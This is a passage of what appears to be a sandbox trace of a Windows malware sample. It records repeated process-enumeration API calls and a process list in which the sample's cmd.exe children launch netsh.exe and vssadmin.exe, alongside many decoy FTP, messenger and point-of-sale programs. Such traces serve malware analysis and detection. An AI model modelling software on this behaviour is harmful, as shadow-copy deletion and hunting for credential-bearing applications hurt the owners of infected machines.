cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0091.415] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0091.418] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0091.419] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.420] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0091.421] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.421] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0091.422] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0091.423] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0091.424] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0091.425] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x25c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0091.425] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x83c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0091.426] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x83c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0091.427] CloseHandle (hObject=0x1cc) returned 1 [0091.427] Sleep (dwMilliseconds=0x1f4) [0094.339] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cc [0094.350] Process32FirstW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0094.350] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0094.351] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0094.352] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0094.352] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0094.353] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0094.353] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0094.354] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0094.354] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0094.355] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0094.355] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.356] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.356] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.357] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.357] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.358] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0094.358] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.359] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.359] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0094.360] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0094.360] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0094.361] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.361] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0094.362] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0094.362] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="desiredbarriers.exe")) returned 1 [0094.363] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotten-cats.exe")) returned 1 [0094.363] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aboriginal confused oxford.exe")) returned 1 [0094.364] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contribution.exe")) returned 1 [0094.364] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="becomesincorporatedinvitation.exe")) returned 1 [0094.365] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="passesbands.exe")) returned 1 [0094.365] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="universe.exe")) returned 1 [0094.366] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="heard_davidson.exe")) returned 1 [0094.366] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="etc overall adware.exe")) returned 1 [0094.367] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="amy minerals.exe")) returned 1 [0094.368] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="light handmade.exe")) returned 1 [0094.368] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blond.exe")) returned 1 [0094.369] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="months.exe")) returned 1 [0094.369] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ragemedicare.exe")) returned 1 [0094.370] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablet restored processes.exe")) returned 1 [0094.370] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0094.370] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0094.371] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0094.579] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0094.580] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0094.580] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0094.581] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0094.581] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0094.582] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0094.583] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0094.583] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0094.584] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0094.585] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0094.585] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0094.586] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0094.587] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0094.587] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0094.588] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0094.588] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0094.589] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0094.590] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0094.591] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0094.592] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0094.593] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0094.594] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0094.594] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0094.595] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0094.596] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0094.597] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0094.598] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0094.599] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, 